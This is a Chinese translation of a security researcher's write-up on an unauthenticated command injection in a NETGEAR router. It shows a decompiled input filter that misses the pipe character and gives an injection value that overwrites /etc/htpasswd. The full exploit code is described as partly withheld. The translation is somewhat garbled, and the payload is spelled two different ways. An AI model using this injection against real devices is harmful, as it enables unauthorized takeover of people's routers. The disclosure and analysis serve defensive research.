在查看它的 XREF 函数时,我看到了一个可以为 iTunes 服务器设置密码的函数。该函数将密码写入/tmp/itunes/apple.remote何时remote_passcode是有效名称。
但是,我们看到在函数实际执行test_command_inject之前调用了一个检查函数。COMMAND让我们看一下test_command_inject函数。
undefined4 test_command_inject(char *param_1)
{
char *pcVar1;
FILE *__stream;
pcVar1 = strstr(param_1,"/bin");
if (((pcVar1 == (char *)0x0) && (pcVar1 = strstr(param_1,"/sbin"), pcVar1 == (char *)0x0)) &&
(pcVar1 = strchr(param_1,0x60), pcVar1 == (char *)0x0)) {
return 1;
}
__stream = fopen("/dev/console","a+");
if (__stream != (FILE *)0x0) {
fprintf(__stream,"[%s::%s():%d] ","other.c","test_command_inject",0xa2e);
fprintf(__stream,"Possible COMMAND injection detected:"%s"!n",param_1);
fclose(__stream);
}
return 0;
}
我们看到 , /bin, /sbin,`被0x00阻塞了。幸运的是,我们没有|被 check 函数阻止的竖线( )。
既然命令是/bin/echo [input] >> /tmp/itunes/apple.remote,我们可以放类似的东西admin:styexp>/etc/htpasswd|,最终变成
/bin/echo admin:styprexp>/etc/htpasswd|>>/tmp/itunes/apple.remote关于实际执行。
/etc/htpasswd通过这种方式,我们可以使用命令注入漏洞进行覆盖。无需泄漏任何凭据,因为我们可以直接从此函数运行系统命令。
RCE#2 利用 PoC(无前提条件)
利用代码
运行此漏洞不需要先决条件。任何有权访问的攻击者都www.routerlogin.com可以利用并从服务器获取系统 shell。
为了防止人们在整个互联网上运行该漏洞,我决定暂时删除它的一些代码。但是,让这个代码段工作对您来说应该不会太难。
在真实路由器上实际运行漏洞利用
演示视频
演示视频包括上述 PoC 代码的实际工作利用。该漏洞利用将绕过身份验证,执行命令注入以覆盖凭据并在成为未经授权的用户时生成 shell。
https://www.youtube.com/watch?v=C7eRmBc9qng
本文翻译自:https://flattsecurity.medium.com/finding-bugs-to-trigger-unauthenticated-command-injection-in-a-netgear-router-psv-2022-0044-2b394fb9edc
原文始发于微信公众号(Ots安全):在 NETGEAR 路由器中查找错误以触发未经身份验证的命令注入 ( PSV-2022–0044 )
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论